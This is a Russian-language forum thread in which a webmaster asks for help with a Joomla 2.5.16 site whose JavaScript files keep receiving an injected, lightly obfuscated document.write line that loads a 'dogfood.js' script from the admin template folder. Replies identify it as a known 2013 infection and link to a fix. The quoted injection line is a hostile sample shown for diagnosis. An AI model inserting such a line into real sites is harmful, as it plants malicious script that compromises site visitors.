Взлом скриптов Joomla 2.5.16 - Безопасность сайтов на Joomla

Уважаемые вебмастера, просба помочь в решении вопроса: сверстал собственный шаблон и поставил на Joomla 2.5.16,
из мер безопасности было принято только выражение <?php defined('_JEXEC') or die('Restricted access'); ?> в шаблоне и размещение пустых индексных файлов в директориях.
Возникла следующая проблема:
Какой-то супер-мега-пупер программист(сарказм) пытается взломать данный сайт, чем выражается: в подключенные (собственные) JS скрипты после всего кода, добавляются строки кода: ;document.write("<scr"+"ipt src='/administrator/templates/hathor/dogfood.js'><"+"/script>");
Папки такого шаблона разумеется нет.
очень надеюсь на вашу помощь - с дырами jooml'ы к сожалению совсем не знаком..

Что установлено из расширений?

Здравствуйте!
Абсолютно ничего. Пустая Joomla 2.5.16
Когда данные правки вносятся скрипт сразу перестает работать, собственно благодаря этому проблема выявилась.

;document.write("<scr"+"ipt src='/administrator/templates/hathor/dogfood.js'><"+"/script>");
Папки такого шаблона разумеется нет.

Ты точно проверял ? Это шаблон в админке. ))
Это уязвимость с октября 2013 года. И взламывают не только Joomla 2.5, а и Joomla 1.5,DLE
А тему про этот вирус отправили на свалку
http://joomlaforum.ru/index.php/topic,280324.msg1409384.html#top

Спасибо за наводку.

Собственно сделал все как указанно по ссылке, будем мониторить если вредоносный код не появиться отпишусь.